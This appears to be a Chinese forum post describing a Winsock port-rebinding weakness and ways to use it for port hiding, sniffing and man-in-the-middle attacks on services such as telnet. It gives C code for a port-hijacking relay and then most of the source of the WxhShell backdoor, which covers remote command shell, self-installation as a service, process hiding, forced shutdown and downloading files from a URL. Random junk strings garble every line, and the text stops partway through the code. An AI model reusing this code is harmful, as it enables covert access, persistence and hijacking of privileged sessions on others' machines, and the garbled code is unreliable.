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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lZkJ<*z#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zNGUll$  
{]|<|vc;GI  
  saddr.sin_family = AF_INET; 7uUq+dp  
d/+s-g p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OP=oSfa  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?|oN}y"i  
Bk~lM'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L|D9+u L  
O,+9r_Gh  
  这意味着什么?意味着可以进行如下的攻击: &&jQ4@m}j  
PGZe'r1E9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M d Eds|D  
2u0B=0x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2!9W:I7  
1f"}]MbLR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3DCR n :  
; X+.Ag  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <AJRU l  
Bn.R,B0PL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Dbx zqd  
gs.+|4dv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 < )_#6)z:  
W7.RA>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +|<bb8%  
4QPHT#eqX  
  #include EKw)\T1  
  #include I"8Z'<|/\q  
  #include DHhty qm  
  #include    a>6M{C@pd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S<*1b 6%D  
  int main() 2h}FotlO  
  { Hit )mwfYE  
  WORD wVersionRequested; pvWj)4e  
  DWORD ret; o8A8fHl  
  WSADATA wsaData; &liFUP?   
  BOOL val; < uV@/fn<  
  SOCKADDR_IN saddr; hp7ni1V  
  SOCKADDR_IN scaddr; o5+7Lt]  
  int err; c>r~pY~$  
  SOCKET s; 7bVKH[  
  SOCKET sc; XfEp_.~JM  
  int caddsize; zT!.5qd  
  HANDLE mt; U(~Nmo'  
  DWORD tid;   OB+cE4$  
  wVersionRequested = MAKEWORD( 2, 2 ); 3 UQBIrQ  
  err = WSAStartup( wVersionRequested, &wsaData ); =:TQ_>$Nc2  
  if ( err != 0 ) { ^"uD:f)  
  printf("error!WSAStartup failed!\n"); l4I',79l  
  return -1; 'Vhnio;qC  
  } c*(=Glzn  
  saddr.sin_family = AF_INET; !QqVJ a{j  
   gA 5DEit  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZXbq5p_  
@P=n{-pIW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AGx(IK/_  
  saddr.sin_port = htons(23); Sl \EPKZD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Y8G}Z|  
  { v1NFz>Hx  
  printf("error!socket failed!\n"); I%0J=V;o{  
  return -1; /DSy/p0%  
  }  sJ_3tjs)  
  val = TRUE; NL"w#kTc()  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sh<A936/E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S~y.>X3"P  
  { ^$8WV&5q>  
  printf("error!setsockopt failed!\n"); Mi[,-8Sk  
  return -1; Ez>!%Hpn\  
  } ?bG82@-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t\ 9Y)d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lF$$~G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G?+]BIiL  
w`Rt"d_B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ! j0iLYo(*  
  { %S%0/  
  ret=GetLastError(); c{/KkmI  
  printf("error!bind failed!\n"); SsIN@  
  return -1; * \ tR  
  } K$ |!IXs  
  listen(s,2); #XAH`L\  
  while(1) u%CJjy  
  { 2AjP2  
  caddsize = sizeof(scaddr); 42 rIIJ1A  
  //接受连接请求 ~rbJtz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l{3ZN"`I  
  if(sc!=INVALID_SOCKET) j1dz'G}hj  
  { ]=%u\~AvL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A)f/ww)Q  
  if(mt==NULL) Ozc9yy!%  
  { YZ5[# E@l  
  printf("Thread Creat Failed!\n");  #U/L8  
  break; zXeBUbVi  
  } J2$ =H1-  
  } x>[ gShAV!  
  CloseHandle(mt); vP/sG5$x  
  } $b"Ex>  
  closesocket(s); ch0x*[N@  
  WSACleanup(); >  ,P,{"  
  return 0; C3 (PI,,  
  }   L(kW]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]\J(  
  { yI$Mq R  
  SOCKET ss = (SOCKET)lpParam; Y/34~lhyl  
  SOCKET sc; vXc gl  
  unsigned char buf[4096]; N'0fB`:kz  
  SOCKADDR_IN saddr; {Gr"oO`&"  
  long num; v|YJ2q?19  
  DWORD val; OMN|ea.O  
  DWORD ret; (:J U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VV=6v;u`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F}_Zh9/$(  
  saddr.sin_family = AF_INET; %J|xPp)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iMs(Ywak]  
  saddr.sin_port = htons(23); [$%0[;jtS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4S,/Z{ J.  
  { ,koG*sn  
  printf("error!socket failed!\n"); vTYgWR,h  
  return -1; '3ZYoA%  
  } ~Uaz;<"j0  
  val = 100; 15`,kJSK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^]?Yd)v  
  { ? 1b*9G%i  
  ret = GetLastError(); Ix|^c268o<  
  return -1; |:d:uj/  
  } -;o`(3wZq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W|[k]A` 2  
  { . aqP=  
  ret = GetLastError(); ),+u>Os&  
  return -1; vke]VXU9z  
  } [$(/H;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >{kPa|  
  { 3+# "4O  
  printf("error!socket connect failed!\n"); >dqeGM7Np>  
  closesocket(sc); t%>x}b"2T  
  closesocket(ss); 4\EvJg@Z.  
  return -1; 4xNzhnp|  
  } ^,;8ra*h  
  while(1) DM@&=c  
  {  al:c2o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yo#F;s7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Oe%jV,S|V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >c:- ;(k  
  num = recv(ss,buf,4096,0); $5m_)]w4a  
  if(num>0) " ^:$7~%bA  
  send(sc,buf,num,0); N?;5%pG <  
  else if(num==0) 66~]7w  
  break; ]&/KAk  
  num = recv(sc,buf,4096,0); hV4B?##O  
  if(num>0) 9ApGn!`  
  send(ss,buf,num,0); }D&fw=r"M  
  else if(num==0) M.R] hI  
  break; aF\?X &|  
  } 1z[GYRSt  
  closesocket(ss); ZM%z"hO9R  
  closesocket(sc); Y4|g^>{<ni  
  return 0 ; \V,;F!*#G  
  } R9z^=QKcH  
b,#E.%SLw  
<\cH9D`dE  
========================================================== 35[8XD  
(^Kcyag4  
下边附上一个代码,,WXhSHELL b(~ gQM  
8oj-5|ct  
========================================================== jHx<}<  
Y)I8(g}0  
#include "stdafx.h" \o j#*aL^  
mJ|7Jc  
#include <stdio.h> b]h]h1~hHH  
#include <string.h> ZSTpA,+6  
#include <windows.h> k&1~yW  
#include <winsock2.h> q(yw,]h]{  
#include <winsvc.h> \ns#l@B  
#include <urlmon.h> \k|ZbCWg  
a,U =irBA  
#pragma comment (lib, "Ws2_32.lib") :oH"  
#pragma comment (lib, "urlmon.lib") 7^~pOFdH  
h,V#V1>Hu  
#define MAX_USER   100 // 最大客户端连接数 ~4mgYzOmD`  
#define BUF_SOCK   200 // sock buffer 2Ax HhD.  
#define KEY_BUFF   255 // 输入 buffer $[Fh|%\  
G1"=}Wt`  
#define REBOOT     0   // 重启 /.\$%bua  
#define SHUTDOWN   1   // 关机 O>Nop5#o  
X~Li`  
#define DEF_PORT   5000 // 监听端口 jz$)*Kdi*  
mdOF0b%-]  
#define REG_LEN     16   // 注册表键长度 t _Q/v  
#define SVC_LEN     80   // NT服务名长度 e6f!6a+%  
%&"_=Lc  
// 从dll定义API Nky%v+r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F^=|NlU&%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Ly?XNS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P$)9osr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qko}rd_M  
X./4at`  
// wxhshell配置信息 u+zq:2)H6  
struct WSCFG { zu}h3n5  
  int ws_port;         // 监听端口 ^AD/N|X^  
  char ws_passstr[REG_LEN]; // 口令 ?#\?&uFJ}  
  int ws_autoins;       // 安装标记, 1=yes 0=no b=QO^  
  char ws_regname[REG_LEN]; // 注册表键名 8*)zoT*A  
  char ws_svcname[REG_LEN]; // 服务名 H#G~b""mY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &K`[SX=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Us YH#?|O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "wxs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $<]y.nr|CX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ha'oLm#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xig+[2zS  
DnaG$a<  
}; g?i_10Xlp  
$;+B)#  
// default Wxhshell configuration "aP>}5<h  
struct WSCFG wscfg={DEF_PORT, q!<`ci,uS  
    "xuhuanlingzhe", .dp~%!"Sn,  
    1, 'mug,jM  
    "Wxhshell", s iv KXd  
    "Wxhshell", %I%F !M  
            "WxhShell Service", d Z"bc]z{  
    "Wrsky Windows CmdShell Service", H U$:x"AW  
    "Please Input Your Password: ", S53 [Ja  
  1, q`}Q[Li  
  "http://www.wrsky.com/wxhshell.exe", 4I^6[{_  
  "Wxhshell.exe" XT= #+  
    }; Y.i<7pBt  
T[<llh'+  
// 消息定义模块 PQvq$|q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _QBd3B %  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cWp n/.a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C3bZ3vcW$  
char *msg_ws_ext="\n\rExit."; 1w+&Y;d|  
char *msg_ws_end="\n\rQuit."; Y#{KGVT<  
char *msg_ws_boot="\n\rReboot..."; ERGDo=j  
char *msg_ws_poff="\n\rShutdown..."; g=b[V   
char *msg_ws_down="\n\rSave to "; n1uJQt  
))G%C6-  
char *msg_ws_err="\n\rErr!"; vo uQ.utl  
char *msg_ws_ok="\n\rOK!"; V>A@Sw  
* 2T&pX  
char ExeFile[MAX_PATH]; 4VaUa8 D  
int nUser = 0; G ~a/g6M4  
HANDLE handles[MAX_USER]; #&r^~>,#L-  
int OsIsNt; m]N 4.J  
%r6~5_A  
SERVICE_STATUS       serviceStatus; V)Z*X88:Tv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qg:1  
s4MP!n?gB  
// 函数声明 N.xmHvPk  
int Install(void); I^M3>}p  
int Uninstall(void); wm*`  
int DownloadFile(char *sURL, SOCKET wsh); 1.yw\ZC\  
int Boot(int flag); +*)B;)P  
void HideProc(void); e d4T_O;  
int GetOsVer(void); "Oh-`C  
int Wxhshell(SOCKET wsl); $L:g7?)k  
void TalkWithClient(void *cs); lJKhP  
int CmdShell(SOCKET sock); XuR!9x^5  
int StartFromService(void); B{s[SZ  
int StartWxhshell(LPSTR lpCmdLine); '9<Mk-Aj  
8-juzL}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |%&WYm6&#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R\0]\JEc  
"M_X9n_  
// 数据结构和表定义 ((EN&X,v  
SERVICE_TABLE_ENTRY DispatchTable[] = <diI*H<G  
{ bi KpV? Dp  
{wscfg.ws_svcname, NTServiceMain}, te" 8ZmJ  
{NULL, NULL} [^ 7^&/0  
}; 3iH!;`i  
h5Qxa$Oq  
// 自我安装 qhF/iUE  
int Install(void) e *;"$7o9  
{ g"# R>&P  
  char svExeFile[MAX_PATH]; #0G9{./C  
  HKEY key; K Qub%`n  
  strcpy(svExeFile,ExeFile); 6sQ"go$}  
JO+ hD4L  
// 如果是win9x系统,修改注册表设为自启动 "vU:qwm  
if(!OsIsNt) { )_xM)mH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zFB$^)v"<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VD36ce9  
  RegCloseKey(key); xiA9X]FB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { db.iMBki  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u@|GQXC  
  RegCloseKey(key); LsV!Sd  
  return 0; C@]Z&H;  
    } PJA 1/"  
  } &~$^a1D6  
} Q*mPU=<  
else { bmt2~!  
TO( =4;U  
// 如果是NT以上系统,安装为系统服务 @*%5"~F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IWm|6@y  
if (schSCManager!=0) |!57Z4X  
{ *QjFrw3  
  SC_HANDLE schService = CreateService P}?,*'b  
  ( L2Gm0 v  
  schSCManager, ~(I\O?k>H  
  wscfg.ws_svcname, ?"qU.}kGL  
  wscfg.ws_svcdisp, H~||]_q|  
  SERVICE_ALL_ACCESS, {CQA@p:Y}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s'} oVx]  
  SERVICE_AUTO_START, _5.7HEw>/  
  SERVICE_ERROR_NORMAL, s=U_tfpH  
  svExeFile, }4eSB  
  NULL, s|EP/=9i  
  NULL, xQaN\):^8  
  NULL, (F$q|qZ%  
  NULL, 8#7z5:_  
  NULL #MOEY|6  
  ); "hs`Y4U  
  if (schService!=0) 4\Q ?4ZX  
  { 6PvV X*5T  
  CloseServiceHandle(schService); g w }t.3}  
  CloseServiceHandle(schSCManager); =$b^ X?x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o1I{^7/  
  strcat(svExeFile,wscfg.ws_svcname); 1{nXmtvr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uv9cOd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NsWyxcty  
  RegCloseKey(key); 5&+ qX 2b  
  return 0; a8Ci 7<V  
    } zy+|)^E  
  } uWi+F)GS^K  
  CloseServiceHandle(schSCManager); t55 '  
} Et`z7Q*e  
} 0[9A*  
f4`=yj*  
return 1; %4+r&  
} _~5{l_v|I  
ic?6p  
// 自我卸载 gZ/M0px  
int Uninstall(void) cq@8!Eu w]  
{ i (L;1 `  
  HKEY key; "'II~/9  
}2V|B4  
if(!OsIsNt) { 6^UeEmjc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A*MlK"  
  RegDeleteValue(key,wscfg.ws_regname); "E 8-76n  
  RegCloseKey(key);  SvDVxK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e~nmIy  
  RegDeleteValue(key,wscfg.ws_regname); #N@sJyI N  
  RegCloseKey(key); .T4"+FTzP  
  return 0; J%3S3C2*m  
  } ZqS'xN :k  
} X#gZgz ='  
} e l7P  
else { V0ulIKck  
}UQBaqDH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q[`_Y3@j  
if (schSCManager!=0) hp Lo  
{ &xrm;pO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Aw9^}k}UfD  
  if (schService!=0) q;t T*B W  
  { jD$T  
  if(DeleteService(schService)!=0) { lj'c0k8  
  CloseServiceHandle(schService); ]}~*uT}>  
  CloseServiceHandle(schSCManager); 4N*Fq!k~  
  return 0; FU5vo  
  } c,X\1yLy  
  CloseServiceHandle(schService); q ( H^H  
  } 9IC"p<D  
  CloseServiceHandle(schSCManager); hY/SR'8  
} 5JIa?i>B  
} !)_80O1  
'hf-)\Ylf  
return 1; K (Z d-U  
} }oj$w?Ex  
_"##p  
// 从指定url下载文件 Qh%7RGh_  
int DownloadFile(char *sURL, SOCKET wsh) )?I1*(1{A  
{ WI](a8bm  
  HRESULT hr; >umcpkp- h  
char seps[]= "/"; X.%Xi'H  
char *token; }bAd@a9>3  
char *file; 9I+;waLlB  
char myURL[MAX_PATH]; <;SQ1^N  
char myFILE[MAX_PATH]; Yg<o 9x$  
dkLc"$( O  
strcpy(myURL,sURL); o/2\8   
  token=strtok(myURL,seps); Y>wpla[kUq  
  while(token!=NULL) --Dw8FR9  
  { "n7rbh3VW  
    file=token; j K$4G.x  
  token=strtok(NULL,seps); w`c9_V  
  } +}I[l,,xy  
V7[Dvg:W  
GetCurrentDirectory(MAX_PATH,myFILE); NA]7qb%%<  
strcat(myFILE, "\\"); DN&ZRA  
strcat(myFILE, file); zi:GvTG  
  send(wsh,myFILE,strlen(myFILE),0); +T"kx\<  
send(wsh,"...",3,0); U@ALo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d[kb]lC  
  if(hr==S_OK) 1AjsAi,7;2  
return 0; w4:n(.;HK  
else 9hmCvQgtf  
return 1; `[jQn;  
e\%QHoi>u  
}  !|9$  
23_<u]V  
// 系统电源模块 oZA|IF8U0  
int Boot(int flag) /21d%T:}  
{ Y H 2i V  
  HANDLE hToken; lqF{Y<l  
  TOKEN_PRIVILEGES tkp; }2:bYpYQ  
^t*+hFEI  
  if(OsIsNt) { {l0;G) -  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJAE~|a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2^ ^;Q:  
    tkp.PrivilegeCount = 1; oeDsJ6;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; = EyxM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = <O{t#]  
if(flag==REBOOT) { >QE^KtZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o*qEAy ?  
  return 0; (e= ksah3>  
} dsR{ P,!  
else { { )'D<:T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ![7v_l\Q  
  return 0; p$?c>lim  
} W#u}d2mP  
  } 6KnD(im  
  else { ]1)@.b;QR  
if(flag==REBOOT) { c5;YKON  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x3PeU_9  
  return 0; E;VBoN [  
} }ebw1G  
else { pr;<n\Y{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S/~6%uJ  
  return 0; /nv1 .c)k  
} }td+F&l($V  
} u8+<uWB  
{)4Vv`n  
return 1; AA>5h<NM  
} By3dRiM=,2  
n  'P:  
// win9x进程隐藏模块 "*+epC|ks  
void HideProc(void) Ct}"o  
{ ^}/YGAA  
II>X6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i$"FUC~'  
  if ( hKernel != NULL ) =!#D UfQf  
  { ^3=8*Xr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Bb :tz+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /rv XCA)j  
    FreeLibrary(hKernel); 3-o ]H'6  
  } Z"Et]xSU%$  
m+OR W"o  
return; 3qpk Mu3  
} !~ -^s  
Vg:P@6s  
// 获取操作系统版本 {H])Fob  
int GetOsVer(void) elKQge  
{ X@~sIUXx9  
  OSVERSIONINFO winfo; U}gYZi;;$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (/k,q  
  GetVersionEx(&winfo); *2:)Rf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xo%Anqk  
  return 1; zh/+1  
  else A]H+rxg  
  return 0; 'O{hr0q}  
} 5+ fS$Q  
q8kt_&Ij  
// 客户端句柄模块 K9w24Oka  
int Wxhshell(SOCKET wsl) 5~rs55W  
{ gvcT_'  
  SOCKET wsh; #e8CuS  
  struct sockaddr_in client; <7 PtC,74  
  DWORD myID; S?Eg   
vm4]KEyrX  
  while(nUser<MAX_USER) E>4 \9  
{ 8V}c(2m  
  int nSize=sizeof(client); 4 Qw;r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DcOu =Y> 1  
  if(wsh==INVALID_SOCKET) return 1; X(WG:FP27  
|#-Oz#Eg'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OmoY] 8N}  
if(handles[nUser]==0) niA{L:4  
  closesocket(wsh); G 8NSBaZe  
else /,:32H  
  nUser++; As)-a5!  
  } 0;XnNz3&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w^ DAu1  
aX~iY ~?_  
  return 0; OKf/[hyu  
} IF1?/D"<  
aqyXxJS8  
// 关闭 socket CX1'B0=\r  
void CloseIt(SOCKET wsh) D!@c,H  
{ $hEX,  
closesocket(wsh); }RyYzm2  
nUser--; }NYsKu_cM  
ExitThread(0); kwyvd`J8  
} Z>X -ueV  
>G-D& A+  
// 客户端请求句柄 FD`V39##  
void TalkWithClient(void *cs)  Ng-3|N  
{ 6~2!ZU  
TI*uNS;-  
  SOCKET wsh=(SOCKET)cs; rsc8lSjH  
  char pwd[SVC_LEN]; =nY*,Xu<  
  char cmd[KEY_BUFF]; `U;4O)`n  
char chr[1]; goxgJOiB  
int i,j; CF$^we  
~5JXY5 *o  
  while (nUser < MAX_USER) { '7E?|B0],  
4~Z\tP|Q.  
if(wscfg.ws_passstr) { 7pGlbdS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U9;AU] A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7d9%L}+q  
  //ZeroMemory(pwd,KEY_BUFF); nNL9B~d  
      i=0; 2pB@qi-]  
  while(i<SVC_LEN) { ,Z52d ggD  
jt;,7Ek  
  // 设置超时 9cj:'KG)!  
  fd_set FdRead; ?p}m[9@  
  struct timeval TimeOut; S(rA96n  
  FD_ZERO(&FdRead); fwOvlD&e  
  FD_SET(wsh,&FdRead); pET5BMxGG  
  TimeOut.tv_sec=8; Bh@j6fv  
  TimeOut.tv_usec=0; %+`$Lb?{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); //AS44^IS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QZd ,GY5{  
q5QYp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'KXvn0  
  pwd=chr[0]; :PjHsNp;^  
  if(chr[0]==0xd || chr[0]==0xa) { mF#{"  
  pwd=0; <S5Am%vo  
  break; PiM@iS  
  } nKV1F0-  
  i++; Ga~IOlS  
    } :~g=n&x  
X_"TG;*$  
  // 如果是非法用户,关闭 socket qL3*H\9N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e6]u5;B r  
} uE+]]ir  
VBsS1!g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ci|6SaY*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #uFP eu:  
{3!v<CY'  
while(1) { RV7l=G9tq  
JZN'U<R  
  ZeroMemory(cmd,KEY_BUFF); lS9rgq<n  
rsA K0R+  
      // 自动支持客户端 telnet标准   NtSa# $A  
  j=0; mmEr2\L  
  while(j<KEY_BUFF) { e=TB/W_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jsc1B  
  cmd[j]=chr[0]; WOR~tS  
  if(chr[0]==0xa || chr[0]==0xd) { $^}?98m  
  cmd[j]=0; RCo!sZP}  
  break; IIs'm!"Y>  
  } ~[isR|>  
  j++; TDk'  
    } ojUBa/  
"{j4?3f)  
  // 下载文件 Z6A*9m  
  if(strstr(cmd,"http://")) { `/8Dmg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @9-z8PyF  
  if(DownloadFile(cmd,wsh)) `(.K|l}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K1]H~'  
  else O}"VK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :WJ[a#  
  } p,Qr9p3y  
  else { G!uoKiL  
5iwJdm  
    switch(cmd[0]) { VE6 V^6SL  
  3g`uLA X>u  
  // 帮助 X@2[!%nm  
  case '?': { n0:'h}^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YJ3aJ^m#E  
    break; g VplBF7{  
  } bM; ==W  
  // 安装 %l( qyH)*  
  case 'i': { |^[]Oy=  
    if(Install()) DKx8<yEky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Gubq4r  
    else 67wY_\m9I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xlZ"F  
    break; k^:)|Z  
    } yF8 av=<{  
  // 卸载 ? suNA  
  case 'r': { :GBWQXb G  
    if(Uninstall()) l\I#^N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.vt5WP  
    else yZj:Kp+7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7[. {Y  
    break; wt0^R<28  
    } <C`qJP-  
  // 显示 wxhshell 所在路径 e)]9u$x  
  case 'p': { BT.;l I  
    char svExeFile[MAX_PATH]; Ri=>evx  
    strcpy(svExeFile,"\n\r"); t;!v jac  
      strcat(svExeFile,ExeFile); }OZp[V  
        send(wsh,svExeFile,strlen(svExeFile),0); [p^N].K$  
    break; DK;p6_tT  
    } ~za=yZo7(  
  // 重启 ?5_~Kn%2  
  case 'b': { 7 p}J]!Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); osPJ%I`^  
    if(Boot(REBOOT)) bi;?)7p&ZY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %5Hsd  
    else { kv{uf$X*ve  
    closesocket(wsh); 0*^ J;QGE  
    ExitThread(0); @ *P$4c  
    } 5 0uYU[W  
    break; pLjet~2}iJ  
    } ufyqfID  
  // 关机 _:DnF  
  case 'd': { =@q 9,H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `@1y|j:m  
